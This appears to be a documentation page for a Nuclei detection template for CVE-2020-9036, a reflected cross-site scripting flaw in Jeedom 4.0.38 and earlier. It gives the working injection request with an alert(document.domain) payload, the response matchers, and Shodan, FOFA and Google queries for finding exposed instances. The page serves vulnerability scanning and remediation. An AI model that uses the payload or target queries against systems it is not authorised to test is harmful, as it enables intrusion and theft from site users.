Jeedom <=4.0.38 - Cross-Site Scripting
ID: CVE-2020-9036
Severity: medium
Author: pikpikcu
Tags: cve,cve2020,xss,jeedom
Description
Section titled “Description”Jeedom through 4.0.38 contains a cross-site scripting vulnerability. An attacker can execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site.
YAML Source
Section titled “YAML Source”id: CVE-2020-9036
info: name: Jeedom <=4.0.38 - Cross-Site Scripting author: pikpikcu severity: medium description: Jeedom through 4.0.38 contains a cross-site scripting vulnerability. An attacker can execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. impact: | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information. remediation: | Upgrade Jeedom to version 4.0.39 or later to mitigate this vulnerability. reference: - https://sysdream.com/news/lab/2020-08-05-cve-2020-9036-jeedom-xss-leading-to-remote-code-execution/ - https://nvd.nist.gov/vuln/detail/CVE-2020-9036 - https://github.com/ARPSyndicate/cvemon - https://github.com/ARPSyndicate/kenzer-templates - https://github.com/my3ker/my3ker-cve-workshop classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2020-9036 cwe-id: CWE-79 epss-score: 0.00113 epss-percentile: 0.43845 cpe: cpe:2.3:a:jeedom:jeedom:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: jeedom product: jeedom shodan-query: http.title:"jeedom" fofa-query: title="jeedom" google-query: intitle:"jeedom" tags: cve,cve2020,xss,jeedom
http: - method: GET path: - "{{BaseURL}}/index.php?v=d&p=%22;alert(document.domain);%22"
matchers-condition: and matchers: - type: word part: body words: - '<script>document.title = "";alert(document.domain);" - Jeedom"</script>'
- type: word part: header words: - text/html
- type: status status: - 200# digest: 4b0a00483046022100c4c80b20b4ae670a8a9c1a09d1a76592f59d548df3197125c81c73e32812beba022100c2929ce01bce3f3d2f1f043c96dc4358ca991b7ca0093913c194be9f5aec5a40:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-9036.yaml"